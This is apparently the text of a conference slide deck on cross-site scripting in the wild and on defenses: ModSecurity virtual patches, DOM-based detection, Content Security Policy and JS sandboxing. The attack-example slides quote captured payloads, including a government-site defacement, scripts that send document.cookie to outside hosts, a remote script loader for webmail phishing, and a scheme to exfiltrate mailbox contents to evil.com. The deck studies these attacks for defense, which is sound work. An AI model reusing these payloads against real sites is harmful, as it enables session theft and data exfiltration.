
Ryan Barnett 

Trustwave 

Greg Wroblewski 

Microsoft 

The Web IS Vulnerable 

XSS Defense on the Battlefront 





Source: OWASP Top 10 2013 



Source: Trustwave 2013 Global Security Report 





We used BIG data: 

•100s TB of raw data 

•10s TB of URLs 



Web server/proxy logs 

Web application firewall logs 

URL shortening services 

Spam e-mails 

Chat rooms, IRC traffic 

Comments on pages 

URL reputation services 



XSS Attacks: 

Proof-of-concepts 











PoC 



• Scanning tools 

• Proof-of-concept 

• Probing 

Malicous 
intend 

• Scanning tools 

• Going after bug bounty 

• Internal testing 

Benign 
intend 









XSS Attacks: 

Defacements 





http://******.gov/usoffices/index.asp?_p=er&_z=%22%3E%3Cscript%3Ealert%28%22
XSS+By%3A+Anonymous+Squad+No.+035+---
+Owned+by+Phobos%22%29%3C%2Fscript%3E%3Cbr%3E%3Cfont+color%3D%22red%22+size%
3D%225%22+scroll%3D%22no%22%3EXSS+BY%3A%3C%2Ffont%3E%3Cbr%3E%3Cfont+color%3D
%22green%22+size%3D%2210%22%3E%3Cblink%3E+Anonymous+Squad+No.+035+%3C%2Fblin
k%3E%3C%2Ffont%3E%3Cbr%3E%3Cbr%3E%3Cbr%3EWebsite+owned+by+%3Cu%3EPhobos%3C%2
Fu%3E%3Cbr%3E%3Cbr%3E%3CIMG+SRC%3Dhttp%3A%2F%2Fi.imgur.com%2FiMvu7.jpg%3E%3C
style%3Ebody+{+overflow%3Ahidden%3B+}%3C%2Fstyle%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%
3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr
%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%
3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr
%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3C%2Fh1%
3E%3Cbody+background%3D%22http%3A%2F%2Fwww.angga.us%2Fhacked%2Fbackground.gi
f%22+bgcolor%3D%22#000000%22%3E%3Ciframe%20width=%221%22%20height=%221%22%20
src=%22http://www.youtube.com/embed/oaGeoGMeq2g?rel=0&autoplay=1&loop=1&play
list=46tS09yBc9I%22%20frameborder=%220%22%20allowfullscreen%3E%3C/iframe%3E%
3C/center%3E%3C/body%3E%3C/script%3E 



















XSS Attacks: 

Cookie Stealing 





http://************.ru/*register.php#?referrer=%22%3e%3cs
cript+type=text/javascript+src=http://httpz.ru/wwgw8k5sra
go.js></script>%22%3cscript 

 

location.href = "http://httpz.ru/nwwgw8k5sra.gif?" + 
document.cookie; 

http://********.ru/index.php?url=%3cscript%3eimg%20=%20ne
w%20image();%20img.src%20=%20%22http://httpz.ru/no0aa1ey4
gx.gif?%22%2bdocument.cookie;%3c/script%3e 

 

img = new image(); img.src = 
“http://httpz.ru/no0aa1ey4gx.gif?”+document.cookie; 





http://***********.fr/nos‐magasins/recherchepar
cp.html?cp="'/><script>document.location="http:
//www.salonfuneraireberthiaume.com/photos/1400/
grabber.php?cookie="%2bdocument.cookie</script> 

 





XSS Attacks: 

In-Session Phishing 



 



• Attacker finds/buys XSS vulnerability affecting 
Hotmail/GMail/Yahoo 

• Attacker tests the vulnerability and develops 
exploit on a number of test accounts 

 
onerror=jQuery.getScript('http://edit.
emailprocess.net/editdczz/all/hotx.js?
id=f6e45991‐74c2‐47a7‐969e‐967e9495ea4
1&dd=hotmail&mm=com&type=0&mailname=zn
p56') 

 





XSS Attacks: 

Data Stealing 



With successful 
attack, script runs in 
browser in current 

session of the victim 

Script could hijack 
and upload to 

attackers entire on-
line content 

accessible from 
current session 

Examples: list of 
contacts, e-mails, 

attachments, 
calendar, files 

After successful 
upload script re-

directs to phishing 
page to get victim’s 
credentials (address 

bar does not change!) 



Download Complete! 



Enumerate through last 60 
pages worth of e-mail 

Extract the From, Subject, 
and Body of the e-mail by 

using the same calls as 
would be triggered if user 
were to view the e-mails 

Inject new script elements 
with source set to the URL 
containing the next chunk 
of the data read from the 

file.  

Send data in chunks to 
http://evil.com/hotmail_x
ss.php?u=<email>&msg= 
<subject+from>^^<segme
nt index>^^<next segment 

of message body> 

Fetch content off of 
inbox/sent/drafts. 

Clean up : mark messages 
that were not originally 

read as unread 

http://evil.com/hotmail_xss.php?u=<victim’s
http://evil.com/hotmail_xss.php?u=<victim’s


Chop the message in pieces 
that would fit in URL 

Construct URL with message 
chunk + flow control data 



XSS Attacks: 

By Numbers 



aero biz com edu gov info int mil mobi name net org other 

1 1 

567 

14 10 4 2 3 3 1 
57 47 

733 







 





2013/01 
2013/02 

2013/03 
2013/04 

2013/05 
2013/06 

262 
298 

260 408 

210 

103 

2199 

2715 

2106 
2343 

1115 

589 

Attacked servers Instances of attacks 



Apache 
60% 

nginx 
16% 

IIS 
17% 

other 
7% 

http://www.google.com/imgres?imgurl&imgrefurl=http://situsnya.wordpress.com/category/nginx/&h=0&w=0&sz=1&tbnid=KMJ4jd4KfI7zyM&tbnh=176&tbnw=256&prev=/search?q=nginx&tbm=isch&tbo=u&zoom=1&q=nginx&docid=jbR_XyXUz44ZsM&hl=en&ei=Dxi6UfKPHK2UjAKnm4CQCQ&ved=0CAIQsCU


ASP.NET 

PHP 

IIS 6.0 

IIS 7.0 

IIS 7.5 

older 

5.1 

5.2 

5.3 

5.4 

other 



21 

15 

13 13 

6 
5 

4 
4 

3 
3 





 



XSS Attacks: 

Detection 

and Mitigation 



 

https://www.owasp.org/index.php/Defenders 



 

http://www.swsec.com/resources/touchpoints/ 



 

• Part I: Preparing the 
Battlespace 
– Find XSS Vulnerabilities 

– Virtual Patching 

• Part II: Asymmetric Warfare 
– Identify XSS Attempts 

– Identify Successful XSS 
Attacks 

• Part III: Tactical Response 
– Implement Content Security 

Policy 

– Push a JS Sandbox 





PART I: 

PREPARING THE BATTLESPACE 

VIRTUAL PATCHING 



A security policy enforcement layer 
which prevents the exploitation of a 

known vulnerability. 







ZAP XML Output 
<alertitem> 
  <pluginid>40012</pluginid> 
  <alert>Cross Site Scripting (Reflected)</alert> 
  <riskcode>3</riskcode> 
  <reliability>2</reliability> 
  <riskdesc>High (Warning)</riskdesc> 
  <desc>Cross-site Scripting (XSS) is an attack technique 
that involves echoing attacker-supplied code into a user's 
browser …</desc> 
  <uri>http://www.modsecurity.org/demo/demo-deny-
noescape.html?disable_xss_defense=on&amp;test=%3C
/p%3E%3Cscript%3Ealert(1);%3C/script%3E%3Cp%3E</
uri> 
  <param>test</param> 
  
<attack>&lt;/p&gt;&lt;script&gt;alert(1);&lt;/script&gt;&l
t;p&gt;</attack> 

ModSecurity Virtual Patch 
# 
# OWASP ZAP Virtual Patch Details: 
# ID: 1508 
# Type: Cross Site Scripting (Reflected) 
# Vulnerable URL: demo/demo-deny-noescape.html 
# Vulnerable Parameter: test 
# 
SecRule REQUEST_FILENAME "demo/demo-deny-
noescape.html" "chain,phase:2,t:none,block,msg:'Virtual 
Patch for Cross Site Scripting 
(Reflected)',id:'1508',tag:'WEB_ATTACK/XSS',tag:'WASCTC
/WASC-8',tag:'WASCTC/WASC-
22',tag:'OWASP_TOP_10/A2',tag:'OWASP_AppSensor/IE1
',tag:'PCI/6.5.1',logdata:'%{matched_var_name}',severity:
'2'" 
        SecRule ARGS:test "@pm < > ; ( ) =" 
"t:utf8toUnicode,t:urlDecodeUni,setvar:'tx.msg=%{rule.
msg}',setvar:tx.xss_score=+%{tx.critical_anomaly_score},
setvar:tx.anomaly_score=+%{tx.critical_anomaly_score}" 



PART II: 

ASYMMETRIC WARFARE: 

DETECTING XSS ATTACKS 



http://html5sec.org/ http://shazzer.co.uk/ 





• $ ruby ./fetch-shazzer-vectors.rb| head -5 
<!-- sample vector --> <img src=xx:xx 
%09onerror=logChr(1)> 
<!-- sample vector --> <img src=xx:xx 
%0Aonerror=logChr(1)> 
<!-- sample vector --> <img src=xx:xx 
%0Conerror=logChr(1)> 
<!-- sample vector --> <img src=xx:xx 
%0Donerror=logChr(1)> 
<!-- sample vector --> <img src=xx:xx 
%20onerror=logChr(1)> 



http://html5sec.org/ http://shazzer.co.uk http://html5sec.org/ 









General purpose library written in C 

Based on a subset of OWASP CRS rules 

Optimized for performance 

Rules selected on the base of empirical data 

Command line tool provided 

Easy to integrate with other components 

nginx module PoC provided 

https://github.com/gwroblew/detectXSSlib 



• Deobfuscation/Normalization 

 

• Code Execution Detection 

– Difference between detecting attack payloads vs. 
confirming JS execution within the DOM 

• Detection Accuracy Challenge 

– Need a DOM 

– Use PhantomJS – Headless WebKit client 



ModSecurity 
extracts HTML 
response data 
and executes 

Lua API 

Lua script 
executes 

PhantomJS 

PhantomJS 
evaluates the 

HTML and 
triggers DOM 

events 



SecRule RESPONSE_HEADERS:Content-Type 
"@contains html" 
"chain,id:'85',phase:5,log,pass" 
  SecRule &ARGS "@gt 0" "chain" 
   SecRuleScript 
/usr/local/apache/conf/crs/lua/xssdetect.lua 











PART III: 

TACTICAL RESPONSE 

UTILIZING BROWSER SECURITY 



Defines a policy language used to declare a 
set of content restrictions for a web 

resource, and a mechanism for transmitting 
the policy from a server to a client where the 

policy is enforced. 
 





# 
# Define URL to set CSP header 
# 
SecRule REQUEST_FILENAME "demo/demo-deny-noescape.html" \ 
  "phase:3,\ 
   id:'960003',\ 
   t:none,\ 
   setenv:csp_report_only=1, \ 
   setenv:'csp_policy=default-src \'none\'; img-src \'self\' www.google-analytics.com; style-src \'self\'; 
script-src \'self\' businessinfo.co.uk www.google-analytics.com; report-uri /csp_violation_report', \ 
   nolog,\ 
   pass" 
 
# 
# Set the appropriate CSP Policy Header 
# 
Header set Content-Security-Policy-Report-Only "%{csp_policy}e" env=csp_report_only 













https://code.google.com/p/mentaljs/ 







SecRule REQUEST_FILENAME "@streq /demo/demo-deny-
noescape.html" "id:'224',chain,phase:4,t:none,nolog,pass” 
  SecRule &ARGS "@gt 0" "chain" 
        SecRule STREAM_OUTPUT_BODY "@rsub 
s/<html.*?>/<script 
src=\"http:\/\/businessinfo.co.uk\/labs\/MentalJS\/javascript\
/Mental.js\" type=\"text\/javascript\"><\/script><script 
type=\"text\/javascript\" 
src=\"http:\/\/www.modsecurity.org\/demo\/mental-
wrapper.js\"><\/script><plaintext 
id=\"MentalRender\"><html>/" 







Wrapping 

Up 
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URL clicks 
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day 







https://blog.whitehatsec.com/interview-with-a-blackhat-
part-1 

 
In addition, many sites are targeted in malware/info leaks by using some 
really common and easy methods. These include SQLi, basic and advanced 
XSS, CSRF, and DNS cache poisoning. Although SQLi is still a big player, XSS has 
taken over the market. I estimate about 50-60% of the attacks my crew did 
last year (Jan 1st-Jan 1st) were XSS. I also learned several programming 
languages — Python, Perl, C, C++, C#, Ruby, SQL, PHP, ASP, just to name a few. 
 
Q: What is your favorite/most effective exploit against websites and why? 
A: If it’s a 0-day, that obviously ranks at the top. But below that is XSS. It’s 
really well known but no one patches it. I suppose DDoS isn’t really classed as 
an exploit but that can bring in monthly ‘rent’ for our ‘protection’. But over all 
0-days are the greatest exploits. 
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REMINDER: 
 GIVE FEEDBACK! 



http://www.linkedin.com/
profile/view?id=5821808 

 

http://www.linkedin.com/
profile/view?id=1565455 

http://www.linkedin.com/profile/view?id=5821808
http://www.linkedin.com/profile/view?id=1565455

